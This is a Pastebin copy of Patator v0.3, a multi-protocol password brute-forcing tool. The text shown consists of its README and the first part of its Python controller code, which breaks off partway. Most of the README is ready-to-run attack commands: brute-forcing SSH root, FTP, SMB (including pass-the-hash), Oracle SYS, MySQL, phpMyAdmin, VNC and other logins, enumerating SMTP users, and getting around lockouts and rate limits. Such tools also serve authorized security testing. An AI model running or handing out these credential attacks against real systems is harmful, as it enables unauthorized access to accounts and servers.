Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # Copyright (C) 2011 Sebastien MACKE
- #
- # This program is free software; you can redistribute it and/or modify it under
- # the terms of the GNU General Public License version 2, as published by the
- # Free Software Foundation
- #
- # This program is distributed in the hope that it will be useful, but WITHOUT
- # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- # details (http://www.gnu.org/licenses/gpl.txt).
- __author__ = 'Sebastien Macke'
- __email__ = '[email protected]'
- __url__ = 'http://www.hsc.fr/ressources/outils/patator/'
- __git__ = 'http://code.google.com/p/patator/'
- __version__ = '0.3'
- __license__ = 'GPLv2'
- # README {{{
- '''
- INTRODUCTION
- ------------
- * What ?
- Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.
- Currently it supports the following modules:
- - ftp_login : Brute-force FTP
- - ssh_login : Brute-force SSH
- - telnet_login : Brute-force Telnet
- - smtp_login : Brute-force SMTP
- - smtp_vrfy : Enumerate valid users using the SMTP 'VRFY' command
- - smtp_rcpt : Enumerate valid users using the SMTP 'RCPT TO' command
- - http_fuzz : Brute-force HTTP/HTTPS
- - pop_passd : Brute-force poppassd (not POP3)
- - ldap_login : Brute-force LDAP
- - smb_login : Brute-force SMB
- - mssql_login : Brute-force MSSQL
- - oracle_login : Brute-force Oracle
- - mysql_login : Brute-force MySQL
- - pgsql_login : Brute-force PostgreSQL
- - vnc_login : Brute-force VNC
- - dns_forward : Forward lookup subdomains
- - dns_reverse : Reverse lookup subnets
- - snmp_login : Brute-force SNMPv1/2 and SNMPv3
- - unzip_pass : Brute-force the password of encrypted ZIP files
- - keystore_pass : Brute-force the password of Java keystore files
- Future modules to be implemented:
- - rdp_login
- - vmware_login (902/tcp)
- - pop3_login
- The name "Patator" comes from http://www.youtube.com/watch?v=xoBkBvnTTjo
- "Whatever the payload to fire, always use the same launch tube"
- * Why ?
- Basically, I got tired of using Medusa, Hydra, ncrack, metasploit auxiliary modules, nmap NSE scripts and the like because:
- - they either do not work or are not reliable (got me false negatives several times in the past)
- - they are slow (not multi-threaded or not testing multiple passwords within the same TCP connection)
- - they lack very useful features that are easy to code in python (eg. interactive runtime)
- FEATURES
- --------
- * No false negatives, as it is the user that decides what results to ignore based on:
- + status code of response
- + size of response
- + matching string or regex in response data
- + ... see --help
- * Modular design
- + not limited to network modules (eg. the unzip_pass module)
- + not limited to brute-forcing (eg. remote exploit testing, or vulnerable version probing)
- * Interactive runtime
- + show verbose progress
- + pause/unpause execution
- + increase/decrease verbosity
- + add new actions & conditions during runtime in order to exclude more types of response from showing
- + ... press h to see all available interactive commands
- * Use persistent connections (ie. will test several passwords until the server disconnects)
- * Multi-threaded
- * Flexible user input
- - Any part of a payload is fuzzable:
- + use FILE[0-9] keywords to iterate on a file
- + use COMBO[0-9] keywords to iterate on the combo entries of a file
- + use NET[0-9] keywords to iterate on every host of a network subnet
- - Iteration over the joined wordlists may be done in any order
- * Save every response (along with request) to seperate log files for later reviewing
- INSTALL
- -------
- * Dependencies (best tested versions)
- | Required for | URL | Version |
- --------------------------------------------------------------------------------------------------
- paramiko | SSH | http://www.lag.net/paramiko/ | 1.7.7.1 |
- --------------------------------------------------------------------------------------------------
- pycurl | HTTP | http://pycurl.sourceforge.net/ | 7.19.0 |
- --------------------------------------------------------------------------------------------------
- openldap | LDAP | http://www.openldap.org/ | 2.4.24 |
- --------------------------------------------------------------------------------------------------
- impacket | SMB | http://oss.coresecurity.com/projects/impacket.html | svn#414 |
- --------------------------------------------------------------------------------------------------
- cx_Oracle | Oracle | http://cx-oracle.sourceforge.net/ | 5.0.4 |
- --------------------------------------------------------------------------------------------------
- mysql-python | MySQL | http://sourceforge.net/projects/mysql-python/ | 1.2.3 |
- --------------------------------------------------------------------------------------------------
- psycopg | PostgreSQL | http://initd.org/psycopg/ | 2.4.1 |
- --------------------------------------------------------------------------------------------------
- pycrypto | VNC | http://www.dlitz.net/software/pycrypto/ | 2.3 |
- --------------------------------------------------------------------------------------------------
- pydns | DNS | http://pydns.sourceforge.net/ | 2.3.4 |
- --------------------------------------------------------------------------------------------------
- pysnmp | SNMP | http://pysnmp.sf.net/ | 4.1.16a |
- --------------------------------------------------------------------------------------------------
- IPy | NETx keywords | https://github.com/haypo/python-ipy | 0.75 |
- --------------------------------------------------------------------------------------------------
- unzip | ZIP passwords | http://www.info-zip.org/ | 6.0 |
- --------------------------------------------------------------------------------------------------
- Java | keystore files | http://www.oracle.com/technetwork/java/javase/ | 6u29 |
- --------------------------------------------------------------------------------------------------
- python | | http://www.python.org/ | 2.6.6 |
- --------------------------------------------------------------------------------------------------
- * Shortcuts (optionnal)
- ln -s path/to/patator.py /usr/bin/ftp_login
- ln -s path/to/patator.py /usr/bin/http_fuzz
- so on ...
- USAGE
- -----
- $ python patator.py <module> -h
- or
- $ <module> -h (if you created the shortcuts)
- There are global options and module options:
- - all global options start with - or --
- - all module options are of the form option=value
- All module options are fuzzable:
- ---------
- ./module host=FILE0 port=FILE1 foobar=FILE2.google.FILE3 0=hosts.txt 1=ports.txt 2=foo.txt 3=bar.txt
- The keywords (FILE, COMBO, NET, ...) act as place-holders. They indicate the type of wordlist
- and where to replace themselves with the actual words to test.
- Each keyword is numbered in order to:
- - match the corresponding wordlist
- - and indicate in what order to iterate over all the wordlists
- For instance, this would be the classic order:
- ---------
- ./module host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt
- 10.0.0.1 root password
- 10.0.0.1 root 123456
- 10.0.0.1 root qsdfghj
- ....
- 10.0.0.1 test password
- 10.0.0.1 test 123456
- 10.0.0.1 test qsdfghj
- ...
- 10.0.0.2 root password
- ...
- When a better way may be:
- ---------
- ./module host=FILE2 password=FILE1 user=FILE0 0=logins.txt 1=passwords.txt 2=hosts.txt
- 10.0.0.1 root password
- 10.0.0.2 root password
- 10.0.0.1 admin password
- 10.0.0.2 admin password
- 10.0.0.1 root 123456
- 10.0.0.2 root 123456
- 10.0.0.1 admin 123456
- ...
- * Keywords
- Brute-force a list of hosts with a file containing combo entries (each line := login:password).
- ---------
- ./module host=FILE0 user=COMBO10 password=COMBO11 0=hosts.txt 1=combos.txt
- Scan subnets to just grab version banners.
- ---------
- ./module host=NET0 0=10.0.1.0/24,10.0.2.0/24,10.0.3.128-10.0.3.255
- * Actions & Conditions
- Use the -x option to do specific actions upon receiving expected results. For instance:
- To ignore responses with status code 301 *AND* a size within a range.
- ---------
- ./module host=10.0.0.1 user=FILE0 -x ignore:code=301,size=57-74
- To ignore responses with status code 500 *OR* containing "Internal error".
- ---------
- ./module host=10.0.0.1 user=FILE0 -x ignore:code=500 -x ignore:fgrep='Internal error'
- Remember that conditions are ANDed within the same -x option, use multiple -x options to
- specify ORed conditions.
- * Failures (--failure-delay and --max-retries options)
- During execution, failures may happen, such as a TCP connect timeout for
- instance. A failure is actually an exception that is not caught by the module,
- and as a result the exception is caught upstream by the controller. By default,
- such exceptions, or failures, are not reported to the user, the controller will
- try 5 more times before reporting the failed payload with the code "xxx"
- (--max-retries defaults to 5).
- After catching a failure, the controller will discard the module instance that
- may be in a dubious state to create a brand new one, and then sleep for 0.5
- second before trying again the same payload (--failure-delay defaults to 0.5).
- * Read carefully the following examples to get a good understanding of how patator works.
- {{{ FTP
- * Brute-force authentication.
- (a) Establish a new TCP connection for every login attempt (slow).
- --------- (a)
- ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt persistent=0
- NB. If you get errors like "too many connections from your IP address", try
- decreasing the number of threads, the server may be enforcing a maximum
- number of concurrent connections.
- * Same as before, but without persistent=0 in order to re-use the TCP connection (faster).
- (a) Establish a new TCP connection after 3 login attempts were done using the same TCP connection.
- (b) Do not report wrong passwords.
- (c) Reconnect when a valid password is found (need to logoff before testing other passwords).
- --------- (a) (b) (c)
- ftp_login ... --rate-reset 3 -x ignore:mesg='Login incorrect.' -x reset:fgrep='Login successful'
- * Same as before, but without --rate-reset as we automatically detect when the server has
- closed the connection.
- (a) Do not report everytime the server shuts down the TCP connection, reconnect and
- retry last login/password.
- (b) Exit execution as soon as a valid password is found.
- --------- (a) (b)
- ftp_login ... -x ignore,reset,retry:code=500 -x quit:fgrep='Login successful'
- * Find anonymous FTP servers on a subnet.
- ---------
- ftp_login host=NET0 user=anonymous [email protected] 0=10.0.0.0/24
- }}}
- {{{ SSH
- * Brute-force authentication.
- (a) Test 3 passwords within the same SSH session before reconnecting.
- (b) Reconnect when a valid password is found (need to logoff before testing other passwords).
- --------- (a) (b)
- ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt --rate-reset 3 -x reset:code=0
- NB. If you get errors like "Error reading SSH protocol banner ... Connection reset by peer",
- try decreasing the number of threads, the server may be enforcing a maximum
- number of concurrent connections (eg. MaxStartups in OpenSSH).
- * Same as before, but without --rate-reset as we automatically detect when we have reached
- the maximum number of login attempts permitted per connection (eg. MaxAuthTries > 3 in OpenSSH).
- (a) Do not report wrong passwords.
- (b) Do not report everytime the server shuts down the TCP connection, reconnect and
- retry last password.
- --------- (a) (b)
- ssh_login ... -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session'
- }}}
- {{{ Telnet
- * Brute-force authentication.
- (a) Enter login after first prompt is detected, enter password after second prompt.
- (b) The regex to detect the login and password prompts.
- (c) Reconnect when we get no login prompt back (max number of tries reached or successful login).
- ------------ (a)
- telnet_login host=10.0.0.1 inputs='FILE0\nFILE1' 0=logins.txt 1=passwords.txt
- prompt_re='Username:|Password:' -x reset:egrep!='% Login failed!.+Username:'
- (b) (c)
- NB. If you get errors like "telnet connection closed", this is because they occur
- at TCP connect time, so try decreasing the number of threads, the server may
- be enforcing a maximum number of concurrent connections.
- }}}
- {{{ SMTP
- * Enumerate valid users using the VRFY command.
- (a) Do not report invalid recipients.
- (b) Do not report when the server shuts us down with "421 too many errors",
- reconnect and resume testing.
- --------- (a)
- smtp_vrfy host=10.0.0.1 user=FILE0 0=logins.txt -x ignore:fgrep='User unknown in local
- recipient table' -x ignore,reset,retry:code=421
- (b)
- * Use the RCPT TO command in case the VRFY command was disabled.
- ---------
- smtp_rcpt host=10.0.0.1 user=FILE0@localhost 0=logins.txt helo='ehlo mx.fb.com' mail_from=root
- * Brute-force authentication.
- (a) Send a fake hostname (by default the real hostname is sent)
- ------------ (a)
- smtp_login host=10.0.0.1 helo='ehlo its.me.com' [email protected] password=FILE1 0=logins.txt 1=passwords.txt
- }}}
- {{{ HTTP
- * Find hidden Web resources.
- (a) Use a specific header.
- (b) Follow redirects.
- (c) Do not report 404 errors.
- (d) Retry on 500 errors.
- --------- (a)
- http_fuzz url=http://localhost/FILE0 0=words.txt header='Cookie: SESSID=A2FD8B2DA4'
- follow=1 -x ignore:code=404 -x ignore,retry:code=500
- (b) (c) (d)
- NB. You may be able to go 10 times faster using webef (http://www.hsc.fr/ressources/outils/webef/).
- It is the fastest HTTP brute-forcer I know, yet at the moment it still lacks useful features
- that will prevent you from performing the following attacks.
- * Brute-force phpMyAdmin logon.
- (a) Use POST requests.
- (b) Follow redirects using cookies sent by server.
- (c) Ignore failed authentications.
- --------- (a) (b) (b)
- http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST follow=1 accept_cookie=1
- body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt
- -x ignore:fgrep='Cannot log in to the MySQL server'
- (c)
- * Scan subnet for directory listings.
- (a) Ignore not matching reponses.
- (b) Save matching responses into directory.
- ---------
- http_fuzz url=http://NET0/FILE1 0=10.0.0.0/24 1=dirs.txt -x ignore:fgrep!='Index of'
- -l /tmp/directory_listings (a)
- (b)
- * Brute-force Basic authentication.
- (a) Single mode (login == password).
- (b) Do not report failed login attempts.
- ---------
- http_fuzz url=http://10.0.0.1/manager/html user_pass=FILE0:FILE0 0=logins.txt -x ignore:code=401
- (a) (b)
- * Find hidden virtual hosts.
- (a) Read template from file.
- (b) Fuzz both the Host and User-Agent headers.
- ---------
- echo -e 'Host: FILE0\nUser-Agent: FILE1' > headers.txt
- http_fuzz url=http://10.0.0.1/ [email protected] 0=vhosts.txt 1=agents.txt
- (a) (b)
- * Brute-force logon using GET requests.
- (a) Encode everything surrounded by the two tags _@@_ in hexadecimal.
- (b) Ignore HTTP 200 responses with a content size (header+body) within given range
- and that also contain the given string.
- (c) Use a different delimiter string because the comma cannot be escaped.
- --------- (a) (a)
- http_fuzz url='http://localhost/login?username=admin&password=_@@_FILE0_@@_' -e _@@_:hex
- 0=words.txt -x ignore:'code=200|size=1500-|fgrep=Welcome, unauthenticated user' -X'|'
- (b) (c)
- * Test the OPTIONS method against a list of URLs.
- (a) Ignore URLs that only allow the HEAD and GET methods.
- (b) Header end of line is '\r\n'.
- (c) Use a different delimiter string because the comma cannot be escaped.
- ---------
- http_fuzz url=FILE0 0=urls.txt method=OPTIONS -x ignore:egrep='^Allow: HEAD, GET\r$' -X '|'
- (a) (b) (c)
- }}}
- {{{ LDAP
- * Brute-force authentication.
- (a) Do not report wrong passwords.
- (b) Talk SSL/TLS to port 636.
- ---------
- ldap_login host=10.0.0.1 bindn='cn=FILE0,dc=example,dc=com' 0=logins.txt bindpw=FILE1 1=passwords.txt
- -x ignore:mesg='ldap_bind: Invalid credentials (49)' ssl=1 port=636
- (a) (b)
- }}}
- {{{ SMB
- * Brute-force authentication.
- (a) Do not report wrong passwords.
- (b) Reconnect when a valid password is found (need to logoff before testing other passwords).
- ---------
- smb_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt
- -x ignore:fgrep=STATUS_LOGON_FAILURE -x reset:code=0
- (a) (b)
- NB. If you suddenly get STATUS_ACCOUNT_LOCKED_OUT errors for an account
- although it is not the first password you test on this account, then you must
- have locked it.
- * Pass-the-hash.
- (a) Test a list of hosts.
- (b) Test every user (each line := login:rid:LM hash:NT hash).
- --------- (a) (b)
- smb_login host=FILE0 0=hosts.txt user=COMBO10 password_hash=COMBO12:COMBO13 1=pwdump.txt -x ...
- }}}
- {{{ MSSQL
- * Brute-force authentication.
- -----------
- mssql_login host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'
- }}}
- {{{ Oracle
- Beware, by default in Oracle, accounts are permanently locked out after 10 wrong passwords,
- except for the SYS account.
- * Brute-force authentication.
- ------------
- oracle_login host=10.0.0.1 user=SYS password=FILE0 0=passwords.txt sid=ORCL -x ignore:code=ORA-01017
- NB0. With Oracle 10g XE (Express Edition), you do not need to pass a SID.
- NB1. If you get ORA-12516 errors, it may be because you reached the limit of
- concurrent connections or db processes, try using "--rate-limit 0.5 -t 2" to be
- more polite. Also you can run "alter system set processes=150 scope=spfile;"
- and restart your database to get rid of this.
- * Brute-force SID.
- ------------
- oracle_login host=10.0.0.1 sid=FILE0 0=sids.txt -x ignore:code=ORA-12505
- NB. Against Oracle9, it may crash (Segmentation fault) as soon as a valid SID is
- found (cx_Oracle bug). Sometimes, the SID gets printed out before the crash,
- so try running the same command again if it did not.
- }}}
- {{{ MySQL
- * Brute-force authentication.
- -----------
- mysql_login host=10.0.0.1 user=FILE0 password=FILE0 0=logins.txt -x ignore:fgrep='Access denied for user'
- }}}
- {{{ PostgresSQL
- * Brute-force authentication.
- -----------
- pgsql_login host=10.0.0.1 user=postgres password=FILE0 0=passwords.txt
- -x ignore:fgrep='password authentication failed for user'
- }}}
- {{{ VNC
- Some VNC servers have built-in anti-bruteforce functionnality that temporarily
- blacklists the attacker IP address after too many wrong passwords.
- - RealVNC-4.1.3 or TightVNC-1.3.10 for example, allow 5 failed attempts and
- then enforce a 10 second delay. For each subsequent failed attempt that
- delay is doubled.
- - RealVNC-3.3.7 or UltraVNC allow 6 failed attempts and then enforce a 10
- second delay between each following attempt.
- * Brute-force authentication.
- (a) No need to use more than one thread.
- (b) Keep retrying the same password when we are blacklisted by the server.
- (c) Exit execution as soon as a valid password is found.
- --------- (a)
- vnc_login host=10.0.0.1 password=FILE0 0=passwords.txt --threads 1
- -x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0
- (b) (b) (c)
- }}}
- {{{ Unzip
- * Brute-force the ZIP file password.
- ----------
- unzip_pass zipfile=path/to/file.zip password=FILE0 0=passwords.txt -x ignore:code!=0
- }}}
- {{{ DNS
- * Forward lookup subdomains.
- (a) Ignore NXDOMAIN responses (rcode 3).
- -----------
- dns_forward domain=FILE0.google.com 0=names.txt -x ignore:code=3
- (a)
- * Forward lookup domain with all possible TLDs.
- -----------
- dns_forward domain=google.MOD0 0=TLD -x ignore:code=3
- * Foward lookup SRV records.
- -----------
- dns_forward domain=MOD0.microsoft.com 0=SRV qtype=SRV -x ignore:code=3
- * Reverse lookup several subnets.
- (a) Ignore names that do not contain 'google.com'.
- (b) Ignore generic PTR records.
- -----------
- dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-
- (a) (b)
- }}}
- {{{ SNMP
- * SNMPv1/2 : Find valid community names.
- ----------
- snmp_login host=10.0.0.1 community=FILE0 1=names.txt -x ignore:mesg='No SNMP response received before timeout'
- * SNMPv3 : Find valid usernames.
- ----------
- snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName
- * SNMPv3 : Find valid passwords.
- ----------
- snmp_login host=10.0.0.1 version=3 user=myuser auth_key=FILE0 0=passwords.txt -x ignore:mesg=wrongDigest
- NB0. If you get "notInTimeWindow" error messages, increase the retries option.
- NB1. SNMPv3 requires passphrases to be at least 8 characters long.
- }}}
- CHANGELOG
- ---------
- * v0.3 2011/12/16
- - minor bugs fixed in http_fuzz
- - option -e better implemented
- - better warnings about missing dependencies
- * v0.2 2011/12/01
- - new smtp_login module
- - several bugs fixed
- * v0.1 2011/11/25 : Public release
- TODO
- ----
- * SSL support for SMTP, MySQL, ... (use socat in the meantime)
- * new option -e ns like in Medusa (not likely to be implemented due to design)
- * replace PyDNS|paramiko|IPy with a better module (scapy|libssh2|... ?)
- '''
- # }}}
- # imports and logging {{{
- import logging
- formatter = logging.Formatter('%(asctime)s %(name)-7s %(levelname)7s - %(message)s', datefmt='%H:%M:%S')
- handler = logging.StreamHandler()
- handler.setFormatter(formatter)
- logger = logging.getLogger('patator')
- logger.setLevel(logging.INFO)
- logger.addHandler(handler)
- import re
- from time import sleep, time
- from Queue import Queue, Empty, Full
- from threading import Thread, active_count
- from select import select
- from sys import stdin, exc_info, exit
- import os
- from time import localtime, strftime, sleep
- from itertools import product, chain, islice
- from string import ascii_lowercase
- from binascii import hexlify
- from base64 import b64encode
- from datetime import timedelta, datetime
- from struct import unpack
- import socket
- import subprocess
- import hashlib
- warnings = []
- try:
- from IPy import IP
- has_ipy = True
- except ImportError:
- has_ipy = False
- # imports }}}
- # utils {{{
- def which(program):
- def is_exe(fpath):
- return os.path.exists(fpath) and os.access(fpath, os.X_OK)
- fpath, fname = os.path.split(program)
- if fpath:
- if is_exe(program):
- return program
- else:
- for path in os.environ["PATH"].split(os.pathsep):
- exe_file = os.path.join(path, program)
- if is_exe(exe_file):
- return exe_file
- return None
- def create_dir(top_path):
- top_path = os.path.abspath(top_path)
- if os.path.isdir(top_path):
- files = os.listdir(top_path)
- if files:
- if raw_input("Directory '%s' is not empty, do you want to wipe it ? [Y/n]: " % top_path) == 'n':
- exit(0)
- for root, dirs, files in os.walk(top_path):
- if dirs:
- print("Directory '%s' contains sub-directories, safely aborting..." % root)
- exit(0)
- for f in files:
- os.unlink(os.path.join(root, f))
- break
- else:
- os.mkdir(top_path)
- return top_path
- def create_time_dir(top_path, desc):
- now = localtime()
- date, time = strftime('%Y-%m-%d', now), strftime('%H%M%S', now)
- top_path = os.path.abspath(top_path)
- date_path = os.path.join(top_path, date)
- time_path = os.path.join(top_path, date, time + '_' + desc)
- if not os.path.isdir(top_path):
- os.makedirs(top_path)
- if not os.path.isdir(date_path):
- os.mkdir(date_path)
- if not os.path.isdir(time_path):
- os.mkdir(time_path)
- return time_path
- def pprint_seconds(seconds, fmt):
- return fmt % reduce(lambda x,y: divmod(x[0], y) + x[1:], [(seconds,),60,60])
- def md5hex(plain):
- return hashlib.md5(plain).hexdigest()
- def sha1hex(plain):
- return hashlib.sha1(plain).hexdigest()
- # }}}
- # Controller {{{
- class Controller:
- actions = {}
- paused = False
- start_time = 0
- total_size = 1
- log_dir = None
- thread_report = []
- thread_progress = []
- payload = {}
- iter_keys = {}
- enc_keys = []
- builtin_actions = (
- ('ignore', 'do not report'),
- ('retry', 'try payload again'),
- ('quit', 'terminate execution now'),
- )
- available_encodings = {
- 'hex': (hexlify, 'encode in hexadecimal'),
- 'b64': (b64encode, 'encode in base64'),
- 'md5': (md5hex, 'hash in md5'),
- 'sha1': (sha1hex, 'hash in sha1'),
- }
- def expand_key(self, arg):
- yield arg.split('=', 1)
- def find_file_keys(self, value):
- return map(int, re.findall(r'FILE(\d)', value))
- def find_net_keys(self, value):
- return map(int, re.findall(r'NET(\d)', value))
- def find_combo_keys(self, value):
- return [map(int, t) for t in re.findall(r'COMBO(\d)(\d)', value)]
- def find_module_keys(self, value):
- return map(int, re.findall(r'MOD(\d)', value))
- def usage_parser(self, name):
- from optparse import OptionParser
- from optparse import OptionGroup
- usage_hints = self.module.usage_hints
- available_actions = self.builtin_actions + self.module.available_actions
- available_conditions = self.module.Response.available_conditions
- parser = OptionParser()
- usage = '''
- %s''' % '\n'.join(usage_hints)
- usage += '''
- Module options:
- %s
- * Allowed format in ()
- * Allowed values in [] with the default value always listed first
- ''' % ('\n'.join(' %-14s: %s' % (k, v) for k, v in self.module.available_options))
- usage += '''
- Syntax:
- -x actions:conditions
- actions := action[,action]*
- action := "%s"
- conditions := condition=value[,condition=value]*
- condition := "%s"
- ''' % ('" | "'.join(k for k, v in available_actions),
- '" | "'.join(k for k, v in available_conditions))
- usage += '''
- %s
- %s
- ''' % ('\n'.join(' %-12s: %s' % (k, v) for k, v in available_actions),
- '\n'.join(' %-12s: %s' % (k, v) for k, v in available_conditions))
- usage += '''
- For example, to ignore all redirects to the home page:
- ... -x ignore:code=302,fgrep='Location: /home.html'
- -e tag:encoding
- tag := any unique string (eg. T@G or _@@_ or ...)
- encoding := "%s"
- %s''' % ('" | "'.join(k for k in self.available_encodings),
- '\n'.join(' %-12s: %s' % (k, v) for k, (f, v) in self.available_encodings.iteritems()))
- usage += '''
- For example, to encode every password in base64:
- ... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
- '''
- parser.usage = usage.replace('%prog', name)
- exe_grp = OptionGroup(parser, 'Execution')
- exe_grp.add_option('-x', dest='actions', action='append', default=[], metavar='arg', help='actions and conditions, see Syntax above')
- exe_grp.add_option('--start', dest='start', type='int', default=0, metavar='N', help='start from offset N in the wordlist product')
- exe_grp.add_option('--stop', dest='stop', type='int', default=None, metavar='N', help='stop at offset N')
- exe_grp.add_option('--resume', dest='resume', metavar='r1[,rN]*', help='resume previous run')
- exe_grp.add_option('-e', dest='encodings', action='append', default=[], metavar='arg', help='encode everything between two tags, see Syntax above')
- exe_grp.add_option('-C', dest='combo_delim', default=':', metavar='str', help="delimiter string in combo files (default is ':')")
- exe_grp.add_option('-X', dest='condition_delim', default=',', metavar='str', help="delimiter string in conditions (default is ',')")
- opt_grp = OptionGroup(parser, 'Optimization')
- opt_grp.add_option('--rate-limit', dest='rate_limit', type='float', default=0, metavar='N', help='wait N seconds between tests (default is 0)')
- opt_grp.add_option('--rate-reset', dest='rate_reset', type='int', default=0, metavar='N', help='reset module every N tests (default is 0: never reset)')
- opt_grp.add_option('--failure-delay', dest='failure_delay', type='float', default=0.5, metavar='N', help='wait N seconds after a failure (default is 0.5)')
- opt_grp.add_option('--max-retries', dest='max_retries', type='int', default=5, metavar='N', help='skip payload after N failures (default is 5) (-1 for unlimited)')
- opt_grp.add_option('-t', '--threads', dest='num_threads', type='int', default=10, metavar='N', help='number of threads (default is 10)')
- log_grp = OptionGroup(parser, 'Logging')
- log_grp.add_option('-l', dest='log_dir', metavar='DIR', help="save output and response data into DIR ")
- log_grp.add_option('-L', dest='auto_log', metavar='SFX', help="automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX (DIR defaults to '/tmp/patator')")
- dbg_grp = OptionGroup(parser, 'Debugging')
- dbg_grp.add_option('-d', '--debug', dest='debug', action='store_true', default=False, help='enable debug messages')
- parser.option_groups.extend([exe_grp, opt_grp, log_grp, dbg_grp])
- return parser
- def parse_usage(self, argv):
- parser = self.usage_parser(argv[0])
- opts, args = parser.parse_args(argv[1:])
- if opts.debug:
- logger.setLevel(logging.DEBUG)
- if not len(args) > 0:
- parser.print_help()
- print('\nERROR: wrong usage. Please read the README inside for more information.')
- exit(2)
- return opts, args
- def __init__(self, module, argv):
- self.module = module
- opts, args = self.parse_usage(argv)
- self.combo_delim = opts.combo_delim
- self.condition_delim = opts.condition_delim
- self.rate_reset = opts.rate_reset
- self.rate_limit = opts.rate_limit
- self.failure_delay = opts.failure_delay
- self.max_retries = opts.max_retries
- self.num_threads = opts.num_threads
- self.start, self.stop, self.resume = opts.start, opts.stop, opts.resume
- wlists = {}
- kargs = []
- for arg in args: # ('host=NET0', '0=10.0.0.0/24', 'user=COMBO10', 'password=COMBO11', '1=combos.txt', 'domain=MOD2', '2=TLD')
- for k, v in self.expand_key(arg):
- logger.debug('k: %s, v: %s' % (k, v))
- if k.isdigit():
- wlists[k] = v
- else:
- if v.startswith('@'):
- p = os.path.expanduser(v[1:])
- v = open(p).read()
- kargs.append((k, v))
- iter_vals = [v for k, v in sorted(wlists.iteritems())]
- logger.debug('iter_vals: %s' % iter_vals) # ['10.0.0.0/24', 'combos.txt', 'TLD']
- logger.debug('kargs: %s' % kargs) # [('host', 'NET0'), ('user', 'COMBO10'), ('password', 'COMBO11'), ('domain', 'MOD2')]
- for k, v in kargs:
- for e in opts.encodings:
- meta, enc = e.split(':')
- if re.search(r'{0}.+?{0}'.format(meta), v):
- self.enc_keys.append((k, meta, self.available_encodings[enc][0]))
- for i in self.find_file_keys(v):
- if i not in self.iter_keys:
- self.iter_keys[i] = ('FILE', iter_vals[i], [])
- self.iter_keys[i][2].append(k)
- else:
- for i in self.find_net_keys(v):
- if i not in self.iter_keys:
- self.iter_keys[i] = ('NET', iter_vals[i], [])
- self.iter_keys[i][2].append(k)
- if not has_ipy:
- logger.warn('IPy (https://github.com/haypo/python-ipy) is required for using NETx keywords.')
- logger.warn('Please read the README inside for more information.')
- exit(3)
- else:
- for i, j in self.find_combo_keys(v):
- if i not in self.iter_keys:
- self.iter_keys[i] = ('COMBO', iter_vals[i], [])
- self.iter_keys[i][2].append((j, k))
- else:
- for i in self.find_module_keys(v):
- if i not in self.iter_keys:
- self.iter_keys[i] = ('MOD', iter_vals[i], [])
- self.iter_keys[i][2].append(k)
- else:
- self.payload[k] = v
- # { 0: ('NET', '10.0.0.0/24', ['host']), 1: ('COMBO', 'combos.txt', [(0, 'user'), (1, 'password')]), 2: ('MOD', 'TLD', ['domain'])
- logger.debug('iter_keys: %s' % self.iter_keys)
- logger.debug('enc_keys: %s' % self.enc_keys) # [('password', 'ENC', hexlify), ('header', 'B64', b64encode), ...
- logger.debug('payload: %s' % self.payload)
- for k, _ in self.builtin_actions:
- self.actions[k] = []
- self.module_actions = [k for k, _ in self.module.available_actions]
- for k in self.module_actions:
- self.actions[k] = []
- for x in opts.actions:
- self.update_actions(x)
- logger.debug('actions: %s' % self.actions)
- if opts.auto_log:
- self.log_dir = create_time_dir(opts.log_dir or '/tmp/patator', opts.auto_log)
- elif opts.log_dir:
- self.log_dir = create_dir(opts.log_dir)
- if self.log_dir:
- log_file = os.path.join(self.log_dir, 'RUNTIME.log')
- with open(log_file, 'w') as f:
- f.write('$ %s\n' % ' '.join(argv))
- handler = logging.FileHandler(log_file)
- handler.setFormatter(formatter)
- logging.getLogger('patator').addHandler(handler)
- def update_actions(self, arg):
- actions, conditions = arg.split(':', 1)
- for action in actions.split(','):
- conds = conditions.split(self.condition_delim)
- new_cond = []
- for cond in conds:
- key, val = cond.split('=', 1)
- new_cond.append((key, val))
- self.actions[action].append(new_cond)
- def lookup_actions(self, resp):
- actions = []
- for action, conditions in self.actions.iteritems():
- for condition in conditions:
- for key, val in condition:
- if key[-1] == '!':
- if resp.match(key[:-1], val):
- break
- else:
- if not resp.match(key, val):
- break
- else:
- actions.append(action)
- return actions
- def fire(self):
- logger.info('Starting Patator v%s (%s) at %s'
- % (__version__, __git__, strftime('%Y-%m-%d %H:%M %Z', localtime())))
- try:
- self.start_threads()
- self.monitor_progress()
- except SystemExit:
- pass
- except KeyboardInterrupt:
- print
- except:
- logger.exception(exc_info()[1])
- hits_count = sum(p.hits_count for p in self.thread_progress)
- done_count = sum(p.done_count for p in self.thread_progress)
- fail_count = sum(p.fail_count for p in self.thread_progress)
- total_time = time() - self.start_time
- speed_avg = done_count / total_time
- self.show_final()
- logger.info('Hits/Done/Size/Fail: %d/%d/%d/%d, Avg: %d r/s, Time: %s' % (hits_count,
- done_count, self.total_size, fail_count, speed_avg, pprint_seconds(total_time, '%dh %dm %ds')))
- if self.total_size != done_count:
- resume = []
- for i, p in enumerate(self.thread_progress):
- c = p.done_count
- if self.resume:
- if i < len(self.resume):
- c += self.resume[i]
- resume.append(str(c))
- logger.info('To resume execution, pass --resume %s' % ','.join(resume))
- def push_final(self, resp): pass
- def show_final(self): pass
- def start_threads(self):
- gqueues = [Queue(maxsize=10000) for i in range(self.num_threads)]
- # producer
- t = Thread(target=self.produce, args=(gqueues,))
- t.daemon = True
- t.start()
